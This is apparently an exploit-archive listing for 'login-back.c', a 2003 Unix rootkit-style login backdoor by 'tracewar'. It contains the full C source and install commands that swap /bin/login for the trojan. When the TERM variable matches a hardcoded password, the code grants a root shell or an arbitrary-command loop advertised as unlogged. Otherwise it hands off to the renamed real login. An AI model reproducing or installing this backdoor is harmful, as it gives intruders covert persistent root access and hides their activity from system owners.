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login-back.c

login-back.c
Posted Oct 2, 2003
Authored by tracewar

Backdoor for login where the original binary must be renamed and only gets called whenever the remote user's TERM variable is not set to the magic password. If the magic password is set, the user gets the option of a shell with or without logging.

tags | tool, remote, shell, rootkit
systems | unix
SHA-256 | e3fb9f9f65c704ddf3602b2cf854c54524ca1cacb73518276e083cfaff3953db

login-back.c

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/*
Login-Back v1.00 coded by tracewar(tracewar@walla.co.il) >:O
2/10/2003 - again im bored it looks cool the danish etc ;)

shouts to Damn- kokanin dvdman illumanti izik slash-off no1 kishkash sagi_ liquid suid(ami not you tal, bastard!) wolfi
sorry if i forgot someone :P

install:
gcc login-back.c -o tmp
mv /bin/login /bin/.login
mv tmp /bin/login
chmod +x /bin/login

HF q:-)

*/

#include <stdio.h>
#include <stdlib.h>
#define PASSW "blating"
#define GREAT "/bin/.login"

char ddd1[1024];
int blat;

int main(){

if((!strcmp(getenv("TERM"),PASSW))){
printf("Login-Back v1.00 Menu:\n");
printf("1. Command Shell\n");
printf("2. SECURED command shell.(no logs etc)\n");
printf("3. print this help menu\n");
sexo();}

sprintf(ddd1, "%s", GREAT);
system(ddd1);
return(0);}

int sexo(){

printf("danish& ");
gets(ddd1);

if((!strcmp(ddd1, "1"))){
printf("Entering CommandShell...\n");
setuid(0);
system("/bin/sh");
return(0);}

if((!strcmp(ddd1, "2"))){
printf("Secured Command Shell to exit just write exit..\n");
while(blat != 100){ // never ending loop
printf("danish# ");
gets(ddd1);
if((!strcmp(ddd1, "exit"))){
return(0);}
system(ddd1);}
return(0);}

if((!strcmp(ddd1, "4"))){
printf("Login-Back v1.00 Menu:\n");
printf("1. Command Shell\n");
printf("2. SECURED command shell.(no logs etc)\n");
printf("3. run w on the system to see whos connected.\n");
printf("4. print this help menu\n");
sexo();}
if((!strcmp(ddd1, "3"))){
printf("running w...:");
system("w");
sexo();}

sexo();}
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